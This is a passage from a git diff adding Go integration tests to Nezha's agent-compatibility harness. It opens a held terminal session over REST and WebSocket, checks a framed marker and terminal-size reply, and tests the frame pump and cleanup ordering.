input.Readiness.ServerID}) + if err != nil { + return nil, fmt.Errorf("register terminal capability: %w", err) + } + stack := newHeldCleanupStack() + if err := stack.Push(heldCleanupAction{name: "unregister terminal capability", cleanup: capability.Unregister}); err != nil { + return nil, rollbackHeldTerminal(ctx, stack, err) + } + created, err := client.DoREST[terminalCreateRequest, terminalCreateResponse](ctx, input.PATClient, client.RESTRequest[terminalCreateRequest]{ + Method: http.MethodPost, Path: "/api/v1/terminal", Body: &terminalCreateRequest{Protocol: "grpc", ServerID: input.Readiness.ServerID}, + IOStreamCapability: capability.HeaderCapability(), + }) + if err != nil { + return nil, rollbackHeldTerminal(ctx, stack, fmt.Errorf("create held terminal: %w", err)) + } + streamID, err := capability.Wait(ctx) + if err != nil { + return nil, rollbackHeldTerminal(ctx, stack, err) + } + if streamID != created.SessionID { + return nil, rollbackHeldTerminal(ctx, stack, fmt.Errorf("terminal stream mismatch: response_and_capability_ids_differ: %w", ErrHeldTerminalProtocol)) + } + if err := stack.Push(heldCleanupAction{name: "wait for terminal stream absence", cleanup: func(cleanupContext context.Context) error { + return capability.waitExpectation(cleanupContext, stateClient, baseline, true) + }}); err != nil { + return nil, rollbackHeldTerminal(ctx, stack, err) + } + if err := stack.Push(heldCleanupAction{name: "cancel terminal capability", cleanup: capability.Cancel}); err != nil { + return nil, rollbackHeldTerminal(ctx, stack, err) + } + if err := validateHeldTerminalResponse(created, input.Readiness.ServerID); err != nil { + return nil, rollbackHeldTerminal(ctx, stack, err) + } + lifetimeContext := input.LifetimeContext + if lifetimeContext == nil { + lifetimeContext = ctx + } + lifecycle, err := newHeldSessionLifecycle(lifetimeContext, input.Plan, streamID, heldTerminalCleanupTimeout) + if err != nil { + return nil, rollbackHeldTerminal(ctx, stack, err) + } + connection, err := input.PATClient.DialWebSocket(ctx, "/api/v1/ws/terminal/"+created.SessionID) + if err != nil { + return nil, rollbackHeldTerminal(ctx, stack, err) + } + resize, err := terminalResizeFrame(132, 43) + if err != nil { + return nil, rollbackHeldTerminal(ctx, stack, err) + } + pump, err := newHeldWebSocketPump(lifetimeContext, connection, heldTerminalPumpCapacity) + if err != nil { + return nil, rollbackHeldTerminal(ctx, stack, err) + } + if err := stack.Push(heldCleanupAction{name: "close terminal WebSocket", cleanup: func(context.Context) error { return connection.Close() }}); err != nil { + return nil, rollbackHeldTerminal(ctx, stack, err) + } + if err := stack.Push(heldCleanupAction{name: "stop terminal WebSocket pump", cleanup: func(cleanupContext context.Context) error { + err := pump.Stop(cleanupContext) + if isExpectedHeldTerminalClose(err) { + return nil + } + return err + }}); err != nil { + return nil, rollbackHeldTerminal(ctx, stack, err) + } + if err := stack.Push(heldCleanupAction{name: "await terminal stream release", cleanup: func(cleanupContext context.Context) error { + graceContext, cancelGrace := context.WithTimeout(cleanupContext, heldTerminalGracePeriod) + defer cancelGrace() + return pump.Wait(graceContext) + }}); err != nil { + return nil, rollbackHeldTerminal(ctx, stack, err) + } + if err := connection.WriteFrame(ctx, resize); err != nil { + return nil, rollbackHeldTerminal(ctx, stack, err) + } + command := heldTerminalCommand(input.Plan.ID.String()) + proof := newHeldTerminalProof(input.Plan.ID.String()) + if err := writeHeldTerminalCommandAfterFirstPumpFrame(ctx, connection, pump, proof, command); err != nil { + return nil, rollbackHeldTerminal(ctx, stack, err) + } + if err := stack.Push(heldCleanupAction{name: "release held terminal command", cleanup: func(cleanupContext context.Context) error { + return connection.WriteFrame(cleanupContext, client.Frame{Type: client.FrameText, Payload: []byte("\n")}) + }}); err != nil { + return nil, rollbackHeldTerminal(ctx, stack, err) + } + for { + select { + case frame, ok := <-pump.Events(): + if !ok { + return nil, rollbackHeldTerminal(ctx, stack, errors.Join(heldTerminalProofDiagnostics(proof, pump.Err()), proof.Failure(), ErrHeldTerminalProtocol)) + } + proof.Consume(frame) + if proof.Complete() { + if err := capability.waitExpectation(ctx, stateClient, baseline, false); err != nil { + return nil, rollbackHeldTerminal(ctx, stack, err) + } + if markErr := lifecycle.markLive(nil); markErr != nil { + return nil, rollbackHeldTerminal(ctx, stack, markErr) + } + return &heldTerminalSession{lifecycle: lifecycle, stack: stack, connection: connection, pump: pump, protocol: true}, nil + } + case <-ctx.Done(): + return nil, rollbackHeldTerminal(ctx, stack, errors.Join(heldTerminalProofDiagnostics(proof, pump.Err()), fmt.Errorf("terminal proof timeout: %w", ctx.Err()))) + } + } +} + +func isExpectedHeldTerminalClose(err error) bool { + var closeErr *client.WebSocketCloseError + return errors.As(err, &closeErr) && (closeErr.Code == 1000 || closeErr.Code == 1006) +} + +func heldTerminalProofDiagnostics(proof *heldTerminalProof, pumpErr error) error { + return fmt.Errorf("terminal proof ended: frames=%d bytes=%d first_frame=%s marker=%t rows=%d cols=%d pump_error=%v", proof.FrameCount(), proof.ByteCount(), proof.FirstFrameType(), hasHeldTerminalMarker(proof.buffer, proof.marker), proof.rows, proof.cols, pumpErr) +} + +func writeHeldTerminalCommandAfterFirstPumpFrame(ctx context.Context, connection heldTerminalConnection, pump heldTerminalPump, proof *heldTerminalProof, command string) error { + select { + case frame, ok := <-pump.Events(): + if !ok { + return errors.Join(pump.Err(), proof.Failure(), ErrHeldTerminalProtocol) + } + proof.Consume(frame) + case <-ctx.Done(): + return ctx.Err() + } + return connection.WriteFrame(ctx, client.Frame{Type: client.FrameText, Payload: []byte(command)}) +} + +func validateHeldTerminalInput(ctx context.Context, input heldTerminalInput) error { + if ctx == nil || input.Dashboard == nil || input.PATClient == nil || input.Agent == nil || input.Readiness.ServerID == 0 || input.Readiness.UUID == "" || input.Readiness.UUID != input.Agent.UUID() || input.Plan.Kind != StressSessionTerminal || input.Plan.ID.String() == "" || input.Plan.Ordinal < 1 || input.Plan.Agent.Int() < 1 { + return ErrInvalidHeldTerminalInput + } + return nil +} + +func validateHeldPATClient(clientInstance *client.Client) error { + if clientInstance == nil { + return ErrInvalidHeldPATClient + } + return nil +} + +func validateHeldTerminalResponse(response terminalCreateResponse, serverID uint64) error { + if response.SessionID == "" || response.ServerID != serverID { + return fmt.Errorf("created terminal identity is incomplete_or_wrong_server: %w", ErrHeldTerminalProtocol) + } + return nil +} + +func rollbackHeldTerminal(ctx context.Context, stack *heldCleanupStack, original error) error { + rollbackContext, cancel := context.WithTimeout(context.WithoutCancel(ctx), heldTerminalCleanupTimeout) + defer cancel() + return errors.Join(original, stack.Run(rollbackContext)) +} + +func (session *heldTerminalSession) Plan() StressSessionPlan { return session.lifecycle.Plan() } + +func (session *heldTerminalSession) WaitLive(ctx context.Context) error { + return session.lifecycle.WaitLive(ctx) +} + +func (session *heldTerminalSession) IOStreamID() (string, bool) { + return session.lifecycle.IOStreamID() +} + +func (session *heldTerminalSession) ProtocolProved() bool { return session.protocol } + +func (session *heldTerminalSession) WaitClosed(ctx context.Context) error { + return session.lifecycle.WaitClosed(ctx) +} + +func (session *heldTerminalSession) Done() <-chan struct{} { return session.lifecycle.Done() } +func (session *heldTerminalSession) CloseResult() error { return session.lifecycle.CloseResult() } + +func (session *heldTerminalSession) Close(ctx context.Context) error { + owner, won := session.lifecycle.beginClose() + if !won { + return session.lifecycle.WaitClosed(ctx) + } + go func() { + cleanupContext, cancel := owner.cleanupContext() + cleanupErr := session.stack.Run(cleanupContext) + if cleanupContext.Err() != nil { + cleanupErr = errors.Join(cleanupErr, cleanupContext.Err()) + } + cancel() + owner.markClosed(cleanupErr) + }() + return session.lifecycle.WaitClosed(ctx) +} + +func newHeldTerminalSessionForTest(lifecycle *heldSessionLifecycle, stack *heldCleanupStack) *heldTerminalSession { + return &heldTerminalSession{lifecycle: lifecycle, stack: stack} +} + +var _ heldSession = (*heldTerminalSession)(nil) diff --git a/integration/agentcompat/internal/scenario/held_terminal_order_test.go b/integration/agentcompat/internal/scenario/held_terminal_order_test.go new file mode 100644 index 00000000..6d367be5 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_terminal_order_test.go @@ -0,0 +1,78 @@ +//go:build linux + +package scenario + +import ( + "context" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" +) + +type heldTerminalOrderConnection struct { + writes chan client.Frame + gate <-chan struct{} +} + +func (connection *heldTerminalOrderConnection) WriteFrame(_ context.Context, frame client.Frame) error { + if frame.Type == client.FrameText { + <-connection.gate + } + connection.writes <- frame + return nil +} + +func (connection *heldTerminalOrderConnection) Close() error { return nil } + +type heldTerminalOrderPump struct { + events chan client.Frame +} + +func (pump *heldTerminalOrderPump) Events() <-chan client.Frame { return pump.events } +func (pump *heldTerminalOrderPump) Done() <-chan struct{} { return nil } +func (pump *heldTerminalOrderPump) Err() error { return nil } +func (pump *heldTerminalOrderPump) Stop(context.Context) error { return nil } +func (pump *heldTerminalOrderPump) Wait(context.Context) error { return nil } + +func TestHeldTerminalCommandWaitsForFirstPumpFrame(t *testing.T) { + // Given + firstFrame := make(chan client.Frame) + commandGate := make(chan struct{}) + connection := &heldTerminalOrderConnection{writes: make(chan client.Frame, 1), gate: commandGate} + pump := &heldTerminalOrderPump{events: firstFrame} + proof := newHeldTerminalProof("marker") + + // When + commandWritten := make(chan error, 1) + go func() { + commandWritten <- writeHeldTerminalCommandAfterFirstPumpFrame(context.Background(), connection, pump, proof, heldTerminalCommand("marker")) + }() + firstFrame <- client.Frame{Type: client.FrameText, Payload: []byte("first PTY output")} + select { + case err := <-commandWritten: + t.Fatalf("command completed before the first frame barrier was released: %v", err) + default: + } + close(commandGate) + command := <-connection.writes + + // Then + require.Equal(t, client.FrameText, command.Type) + require.NoError(t, <-commandWritten) +} + +func TestTerminalWireFormatsRemainAgentCompatible(t *testing.T) { + // Given + resize := mustTerminalResizeFrame(132, 43) + command := heldTerminalCommand("marker") + + // When + // Then + require.Equal(t, client.FrameBinary, resize.Type) + require.Equal(t, byte(1), resize.Payload[0]) + require.JSONEq(t, `{"Cols":132,"Rows":43}`, string(resize.Payload[1:])) + require.Equal(t, client.FrameText, client.Frame{Type: client.FrameText, Payload: []byte(command)}.Type) + require.NotEqual(t, byte(0), []byte(command)[0]) +} diff --git a/integration/agentcompat/internal/scenario/held_terminal_protocol.go b/integration/agentcompat/internal/scenario/held_terminal_protocol.go new file mode 100644 index 00000000..6a5ccb13 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_terminal_protocol.go @@ -0,0 +1,114 @@ +//go:build linux + +package scenario + +import ( + "bytes" + "fmt" + "strconv" + "strings" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" +) + +const heldTerminalProofLimit = 64 << 10 + +type heldTerminalProof struct { + marker string + buffer []byte + rows uint32 + cols uint32 + framed bool + closed error + frames uint64 + bytes uint64 + first client.FrameType +} + +func newHeldTerminalProof(marker string) *heldTerminalProof { + return &heldTerminalProof{marker: marker} +} + +func (proof *heldTerminalProof) Consume(frame client.Frame) { + if proof.Complete() || proof.closed != nil { + return + } + proof.frames++ + proof.bytes += uint64(len(frame.Payload)) + if proof.first == "" { + proof.first = frame.Type + } + proof.buffer = append(proof.buffer, frame.Payload...) + if len(proof.buffer) > heldTerminalProofLimit { + proof.buffer = proof.buffer[len(proof.buffer)-heldTerminalProofLimit:] + } + proof.consumeRecord() +} + +func (proof *heldTerminalProof) consumeRecord() { + for { + start := bytes.IndexByte(proof.buffer, 0x1e) + if start < 0 { + proof.buffer = nil + return + } + proof.buffer = proof.buffer[start:] + endOffset := bytes.IndexByte(proof.buffer[1:], 0x1f) + if endOffset < 0 { + return + } + end := 1 + endOffset + record := string(proof.buffer[1:end]) + proof.buffer = proof.buffer[end+1:] + recordMarker, sizeText, ok := strings.Cut(record, "|") + if !ok || recordMarker != proof.marker { + continue + } + values := strings.Fields(sizeText) + if len(values) != 2 { + continue + } + rows, rowsErr := strconv.ParseUint(values[0], 10, 32) + cols, colsErr := strconv.ParseUint(values[1], 10, 32) + if rowsErr != nil || colsErr != nil || rows == 0 || cols == 0 { + continue + } + proof.rows, proof.cols, proof.framed = uint32(rows), uint32(cols), true + return + } +} + +func (proof *heldTerminalProof) Closed(err error) error { + proof.closed = err + return fmt.Errorf("terminal proof closed: %w", err) +} + +func (proof *heldTerminalProof) Failure() error { + if proof.closed == nil { + return nil + } + return fmt.Errorf("terminal proof closed: %w", proof.closed) +} + +func (proof *heldTerminalProof) Complete() bool { + return proof.framed && proof.rows == 43 && proof.cols == 132 +} + +func (proof *heldTerminalProof) Rows() uint32 { return proof.rows } + +func (proof *heldTerminalProof) Columns() uint32 { return proof.cols } + +func (proof *heldTerminalProof) FrameCount() uint64 { return proof.frames } + +func (proof *heldTerminalProof) ByteCount() uint64 { return proof.bytes } + +func (proof *heldTerminalProof) FirstFrameType() client.FrameType { return proof.first } + +func heldTerminalCommand(marker string) string { + part := len(marker) / 2 + return fmt.Sprintf("printf '\\036%%s%%s|' '%s' '%s'; stty size; printf '\\037'; read -r held_terminal_release; exit\n", marker[:part], marker[part:]) +} + +func hasHeldTerminalMarker(output []byte, marker string) bool { + return strings.Contains(string(output), marker) +} diff --git a/integration/agentcompat/internal/scenario/held_terminal_real_test.go b/integration/agentcompat/internal/scenario/held_terminal_real_test.go new file mode 100644 index 00000000..31b73e0f --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_terminal_real_test.go @@ -0,0 +1,56 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "fmt" + "os" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func TestHeldTerminalSessionUsesExistingDashboardAndAgent(t *testing.T) { + requireHeldRealSources(t) + paths, err := contract.NewPaths(os.Getenv("AGENTCOMPAT_NEZHA_SOURCE"), os.Getenv("AGENTCOMPAT_AGENT_SOURCE"), t.TempDir()) + require.NoError(t, err) + ctx, cancel := context.WithTimeout(t.Context(), 10*time.Minute) + defer cancel() + realFixture, readiness, patClient := startHeldRealFixture(t, ctx, paths, "00000000-0000-0000-0000-000000000118", "held-terminal") + dashboardInstance, agentInstance := realFixture.dashboard, realFixture.agent + t.Cleanup(func() { _, _ = realFixture.Close(context.Background(), false, false, false) }) + plan := heldTestPlan(t) + plan.ID, err = NewStressSessionID(fmt.Sprintf("held-terminal-real-%d", time.Now().UnixNano())) + require.NoError(t, err) + baseline, err := patClient.IOStreamState(ctx) + require.NoError(t, err) + dashboardPID, agentPID := dashboardInstance.PID(), agentInstance.PID() + + sessionCtx, sessionCancel := context.WithTimeout(ctx, 45*time.Second) + defer sessionCancel() + session, err := newHeldTerminalSession(sessionCtx, heldTerminalInput{Dashboard: dashboardInstance, PATClient: patClient, Agent: agentInstance, Readiness: readiness, Plan: plan}) + require.NoError(t, err) + require.NoError(t, session.WaitLive(ctx)) + streamID, present := session.IOStreamID() + require.True(t, present) + live, err := patClient.WaitForIOStreamState(ctx, client.IOStreamStateExpectation{ExpectedCount: client.ExpectedIOStreamCount(baseline.Count + 1), PresentStreamID: streamID}) + require.NoError(t, err) + require.Equal(t, baseline.Count+1, live.Count) + require.Equal(t, dashboardPID, dashboardInstance.PID()) + require.Equal(t, agentPID, agentInstance.PID()) + + require.NoError(t, session.Close(ctx)) + require.NoError(t, session.WaitClosed(ctx)) + closed, err := patClient.WaitForIOStreamState(ctx, client.IOStreamStateExpectation{ExpectedCount: client.ExpectedIOStreamCount(baseline.Count), AbsentStreamID: streamID}) + require.NoError(t, err) + require.Equal(t, baseline.Count, closed.Count) + cleanup, cleanupErr := realFixture.Close(ctx, true, closed.Count == baseline.Count, true) + require.NoError(t, cleanupErr) + require.True(t, heldRealCleanupOK(cleanup)) + require.NoError(t, writeHeldRealEvidence("terminal", heldRealEvidence{Kind: "terminal", BaselineCount: baseline.Count, LiveCount: live.Count, ClosedCount: closed.Count, ExactIDPresent: true, ExactIDAbsent: true, ProtocolProved: session.ProtocolProved(), DashboardPIDUnchanged: dashboardPID == dashboardInstance.PID(), AgentPIDUnchanged: agentPID == agentInstance.PID(), CleanupOK: heldRealCleanupOK(cleanup)})) +} diff --git a/integration/agentcompat/internal/scenario/held_terminal_test.go b/integration/agentcompat/internal/scenario/held_terminal_test.go new file mode 100644 index 00000000..6d029f9d --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_terminal_test.go @@ -0,0 +1,257 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" +) + +func TestHeldTerminalCommandSubmitsWithLineFeed(t *testing.T) { + command := heldTerminalCommand("marker-session") + + require.Equal(t, byte('\n'), command[len(command)-1]) + require.NotContains(t, command, "exit\\n") +} + +func TestHeldTerminalProofRejectsEchoOnlyExactTokens(t *testing.T) { + proof := newHeldTerminalProof("marker-session") + + proof.Consume(client.Frame{Type: client.FrameText, Payload: []byte("printf 'compat-size='; stty size; printf 'marker-session\\n'; read -r held_terminal_release; exit\\n\r\ncompat-size=43 132\r\nmarker-session\r\n")}) + + require.False(t, proof.Complete()) +} + +func TestHeldTerminalProofAcceptsMarkerAndExactSizeAcrossFrames(t *testing.T) { + // Given + proof := newHeldTerminalProof("marker-session") + + // When + proof.Consume(client.Frame{Type: client.FrameText, Payload: []byte("prefix\r\n\x1emarker-session|43 ")}) + proof.Consume(client.Frame{Type: client.FrameBinary, Payload: []byte("132\x1f\r\n")}) + + // Then + require.True(t, proof.Complete()) + require.Equal(t, uint32(43), proof.Rows()) + require.Equal(t, uint32(132), proof.Columns()) +} + +func TestHeldTerminalProofIgnoresMarkerInEchoedCommand(t *testing.T) { + // Given + proof := newHeldTerminalProof("marker-session") + + // When + proof.Consume(client.Frame{Type: client.FrameText, Payload: []byte("printf '\\036%s%s|' 'marker-' 'session'; stty size; printf '\\037'\r\n")}) + proof.Consume(client.Frame{Type: client.FrameText, Payload: []byte("\x1emarker-session|43 132\x1f\r\n")}) + + // Then + require.True(t, proof.Complete()) + require.Equal(t, uint32(43), proof.Rows()) + require.Equal(t, uint32(132), proof.Columns()) +} + +func TestHeldTerminalProofRejectsWrongMarkerAndWrongSize(t *testing.T) { + // Given + wrongMarker := newHeldTerminalProof("marker-session") + wrongSize := newHeldTerminalProof("marker-session") + + // When + wrongMarker.Consume(client.Frame{Type: client.FrameText, Payload: []byte("\x1emarker-other|43 132\x1f\r\n")}) + wrongSize.Consume(client.Frame{Type: client.FrameText, Payload: []byte("\x1emarker-session|42 132\x1f\r\n")}) + + // Then + require.False(t, wrongMarker.Complete()) + require.False(t, wrongSize.Complete()) +} + +func TestHeldTerminalProofAcceptsValidRecordAfterWrongMarkerInSameFrame(t *testing.T) { + // Given + proof := newHeldTerminalProof("marker-session") + frame := []byte("\x1emarker-other|43 132\x1f\x1emarker-session|43 132\x1f") + + // When + proof.Consume(client.Frame{Type: client.FrameText, Payload: frame}) + + // Then + require.True(t, proof.Complete()) +} + +func TestHeldTerminalProofAcceptsValidRecordAfterMalformedRecordInSameFrame(t *testing.T) { + // Given + proof := newHeldTerminalProof("marker-session") + frame := []byte("\x1emarker-session|43 nope\x1f\x1emarker-session|43 132\x1f") + + // When + proof.Consume(client.Frame{Type: client.FrameBinary, Payload: frame}) + + // Then + require.True(t, proof.Complete()) +} + +func TestHeldTerminalProofScansMultipleInvalidRecordsBeforeValidRecord(t *testing.T) { + // Given + proof := newHeldTerminalProof("marker-session") + frame := []byte("noise\x1emarker-other|43 132\x1f\x1emarker-session|43 nope\x1f\x1emarker-session|43 132\x1f") + + // When + proof.Consume(client.Frame{Type: client.FrameText, Payload: frame}) + + // Then + require.True(t, proof.Complete()) +} + +func TestHeldTerminalProofAcceptsFramedRecordAcrossFrames(t *testing.T) { + proof := newHeldTerminalProof("marker-session") + + proof.Consume(client.Frame{Type: client.FrameBinary, Payload: []byte("prefix\x1emarker-session|43 ")}) + proof.Consume(client.Frame{Type: client.FrameBinary, Payload: []byte("132\x1f\r\n")}) + + require.True(t, proof.Complete()) +} + +func TestHeldTerminalProofRejectsMalformedOrUnclosedRecord(t *testing.T) { + malformed := newHeldTerminalProof("marker-session") + unclosed := newHeldTerminalProof("marker-session") + + malformed.Consume(client.Frame{Type: client.FrameBinary, Payload: []byte("\x1emarker-session|43 nope\x1f")}) + unclosed.Consume(client.Frame{Type: client.FrameBinary, Payload: []byte("\x1emarker-session|43 132")}) + + require.False(t, malformed.Complete()) + require.False(t, unclosed.Complete()) + require.Equal(t, []byte("\x1emarker-session|43 132"), unclosed.buffer) +} + +func TestHeldTerminalProofAcceptsEchoThenFramedRecord(t *testing.T) { + proof := newHeldTerminalProof("marker-session") + + proof.Consume(client.Frame{Type: client.FrameText, Payload: []byte("printf '\\036%s%s|' 'marker-' 'session'; stty size; printf '\\037' exit\\n\r\n")}) + require.False(t, proof.Complete()) + proof.Consume(client.Frame{Type: client.FrameBinary, Payload: []byte("\x1emarker-session|43 132\x1f")}) + + require.True(t, proof.Complete()) +} + +func TestHeldTerminalProofRejectsClosedPumpBeforeProof(t *testing.T) { + // Given + proof := newHeldTerminalProof("marker-session") + + // When + err := proof.Closed(errors.New("pump closed")) + + // Then + require.Error(t, err) + require.ErrorContains(t, err, "pump closed") +} + +func TestHeldTerminalProofBoundsAccumulator(t *testing.T) { + // Given + proof := newHeldTerminalProof("marker-session") + + // When + proof.Consume(client.Frame{Type: client.FrameText, Payload: make([]byte, heldTerminalProofLimit+1)}) + + // Then + require.LessOrEqual(t, len(proof.buffer), heldTerminalProofLimit) +} + +func TestHeldTerminalResponseRequiresExactSessionServerIdentity(t *testing.T) { + // Given + response := terminalCreateResponse{SessionID: "session", ServerID: 9} + + // When + err := validateHeldTerminalResponse(response, 8) + + // Then + require.ErrorIs(t, err, ErrHeldTerminalProtocol) + require.NoError(t, validateHeldTerminalResponse(response, 9)) +} + +func TestHeldTerminalInputRejectsMissingResourcesAndMismatchedReadiness(t *testing.T) { + // Given + plan := heldTestPlan(t) + input := heldTerminalInput{Plan: plan, Readiness: agent.Readiness{ServerID: 7, UUID: "agent"}} + + // When + err := validateHeldTerminalInput(context.Background(), input) + + // Then + require.ErrorIs(t, err, ErrInvalidHeldTerminalInput) +} + +func TestHeldTerminalInputRejectsMissingPATClientBeforeRemoteMutation(t *testing.T) { + err := validateHeldPATClient(nil) + + require.ErrorIs(t, err, ErrInvalidHeldPATClient) +} + +func TestHeldTerminalCommandKeepsShellHeldUntilInput(t *testing.T) { + // Given + command := heldTerminalCommand("marker-session") + + // Then + require.Contains(t, command, "marker-") + require.Contains(t, command, "session") + require.Contains(t, command, "stty size") + require.Contains(t, command, "read -r") + require.Contains(t, command, "exit") + require.Contains(t, command, "\\036") + require.Contains(t, command, "\\037") + require.NotEqual(t, "\n", command) +} + +func TestHeldTerminalCleanupOwnerDoesNotUseCanceledWaiter(t *testing.T) { + // Given + cleanupStarted := make(chan struct{}) + cleanupRelease := make(chan struct{}) + lifecycle := heldTestLifecycle(t, "held-terminal-session") + stack := newHeldCleanupStack() + require.NoError(t, stack.Push(heldCleanupAction{name: "blocked", cleanup: func(cleanupContext context.Context) error { + require.NoError(t, cleanupContext.Err()) + close(cleanupStarted) + <-cleanupRelease + return nil + }})) + session := newHeldTerminalSessionForTest(lifecycle, stack) + + // When + canceled, cancel := context.WithCancel(context.Background()) + cancel() + first := make(chan error, 1) + go func() { first <- session.Close(canceled) }() + <-cleanupStarted + + // Then + require.ErrorIs(t, <-first, context.Canceled) + close(cleanupRelease) + require.NoError(t, session.Close(context.Background())) +} + +func TestHeldTerminalCleanupStackReleasesHoldBeforeTransport(t *testing.T) { + // Given + stack := newHeldCleanupStack() + var order []string + require.NoError(t, stack.Push(heldCleanupAction{name: "absence", cleanup: func(context.Context) error { + order = append(order, "absence") + return nil + }})) + require.NoError(t, stack.Push(heldCleanupAction{name: "transport", cleanup: func(context.Context) error { + order = append(order, "transport") + return nil + }})) + require.NoError(t, stack.Push(heldCleanupAction{name: "release", cleanup: func(context.Context) error { + order = append(order, "release") + return nil + }})) + + // When + require.NoError(t, stack.Run(context.Background())) + + // Then + require.Equal(t, []string{"release", "transport", "absence"}, order) +} diff --git a/integration/agentcompat/internal/scenario/held_websocket_pump.go b/integration/agentcompat/internal/scenario/held_websocket_pump.go new file mode 100644 index 00000000..2349e461 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_websocket_pump.go @@ -0,0 +1,112 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "sync" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" +) + +var ( + ErrInvalidHeldFramePump = errors.New("held WebSocket frame pump is invalid") + ErrHeldFrameBufferFull = errors.New("held WebSocket frame buffer is full") +) + +type heldWebSocketPump struct { + connection *client.WebSocketConnection + ctx context.Context + cancel context.CancelFunc + events chan client.Frame + done chan struct{} + stopOnce sync.Once + stopDone chan struct{} + stopResult error + terminalMu sync.RWMutex + terminal error +} + +func newHeldWebSocketPump(parent context.Context, connection *client.WebSocketConnection, capacity int) (*heldWebSocketPump, error) { + if parent == nil || connection == nil || capacity < 1 { + return nil, ErrInvalidHeldFramePump + } + pumpContext, cancel := context.WithCancel(parent) + pump := &heldWebSocketPump{connection: connection, ctx: pumpContext, cancel: cancel, events: make(chan client.Frame, capacity), done: make(chan struct{}), stopDone: make(chan struct{})} + go pump.readFrames() + return pump, nil +} + +func (pump *heldWebSocketPump) Events() <-chan client.Frame { return pump.events } + +func (pump *heldWebSocketPump) Done() <-chan struct{} { return pump.done } + +func (pump *heldWebSocketPump) Err() error { + pump.terminalMu.RLock() + defer pump.terminalMu.RUnlock() + return pump.terminal +} + +func (pump *heldWebSocketPump) readFrames() { + defer close(pump.events) + defer close(pump.done) + for { + frame, err := pump.connection.ReadFrameUntil(pump.ctx) + if err != nil { + if pump.ctx.Err() == nil { + pump.setTerminal(err) + } + return + } + select { + case pump.events <- frame: + case <-pump.ctx.Done(): + return + default: + pump.setTerminal(ErrHeldFrameBufferFull) + pump.cancel() + _ = pump.connection.Close() + return + } + } +} + +func (pump *heldWebSocketPump) setTerminal(err error) { + pump.terminalMu.Lock() + defer pump.terminalMu.Unlock() + if pump.terminal == nil { + pump.terminal = err + } +} + +func (pump *heldWebSocketPump) Stop(ctx context.Context) error { + pump.stopOnce.Do(func() { + // The shutdown owner must outlive any individual caller's wait context. + go pump.stop() + }) + select { + case <-pump.stopDone: + return pump.stopResult + case <-ctx.Done(): + return ctx.Err() + } +} + +func (pump *heldWebSocketPump) stop() { + pump.cancel() + closeErr := pump.connection.Close() + <-pump.done + // Publish only after the reader is joined so every waiter observes the same complete result. + pump.stopResult = errors.Join(pump.Err(), closeErr) + close(pump.stopDone) +} + +func (pump *heldWebSocketPump) Wait(ctx context.Context) error { + select { + case <-pump.done: + return nil + case <-ctx.Done(): + return ctx.Err() + } +} diff --git a/integration/agentcompat/internal/scenario/held_websocket_pump_stop_contract_test.go b/integration/agentcompat/internal/scenario/held_websocket_pump_stop_contract_test.go new file mode 100644 index 00000000..719a6dfa --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_websocket_pump_stop_contract_test.go @@ -0,0 +1,160 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "net" + "net/http/httptest" + "sync" + "testing" + "time" + + "github.com/gorilla/websocket" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" +) + +func TestHeldWebSocketPumpStopRetainsPeerAndCloseErrorsAfterCanceledWaiter(t *testing.T) { + // Given + closeErr := errors.New("physical close failed") + server := heldPumpServer(t, func(connection *websocket.Conn) { + require.NoError(t, connection.WriteMessage(websocket.CloseMessage, websocket.FormatCloseMessage(websocket.ClosePolicyViolation, "peer shutdown"))) + }) + recordedConnection := newPumpRecordingConn(closeErr) + recordedConnection.closeEntered = make(chan struct{}) + recordedConnection.allowClose = make(chan struct{}) + t.Cleanup(func() { recordedConnection.releaseClose() }) + connection := heldPumpConnectionWithConn(t, server, recordedConnection) + pump, err := newHeldWebSocketPump(context.Background(), connection, 1) + require.NoError(t, err) + require.NoError(t, pump.Wait(context.Background())) + peerErr := pump.Err() + require.Error(t, peerErr) + stopContext, cancel := context.WithCancel(context.Background()) + cancel() + + // When + firstStopErr := pump.Stop(stopContext) + recordedConnection.awaitClose(t) + recordedConnection.releaseClose() + laterStopErr := pump.Stop(context.Background()) + + // Then + require.ErrorIs(t, firstStopErr, context.Canceled) + require.ErrorIs(t, laterStopErr, peerErr) + require.ErrorIs(t, laterStopErr, closeErr) + require.Equal(t, 1, recordedConnection.closeCount()) + require.Equal(t, laterStopErr, pump.Stop(context.Background())) +} + +func TestHeldWebSocketPumpStopConcurrentCallersReceiveRetainedResult(t *testing.T) { + // Given + closeErr := errors.New("physical close failed") + serverReady := make(chan struct{}) + server := heldPumpServer(t, func(connection *websocket.Conn) { + close(serverReady) + _, _, _ = connection.ReadMessage() + }) + recordedConnection := newPumpRecordingConn(closeErr) + connection := heldPumpConnectionWithConn(t, server, recordedConnection) + pump, err := newHeldWebSocketPump(context.Background(), connection, 1) + require.NoError(t, err) + <-serverReady + + // When + results := make(chan error, 8) + for range cap(results) { + go func() { results <- pump.Stop(context.Background()) }() + } + + // Then + var retainedResult error + for range cap(results) { + result := <-results + require.ErrorIs(t, result, closeErr) + if retainedResult == nil { + retainedResult = result + continue + } + require.Equal(t, retainedResult, result) + } + require.Equal(t, 1, recordedConnection.closeCount()) + require.Equal(t, retainedResult, pump.Stop(context.Background())) + select { + case <-pump.Done(): + default: + t.Fatal("Stop returned before the reader joined") + } +} + +type pumpRecordingConn struct { + net.Conn + mu sync.Mutex + closeErr error + closeCountValue int + closeEntered chan struct{} + allowClose chan struct{} + releaseOnce sync.Once +} + +func newPumpRecordingConn(closeErr error) 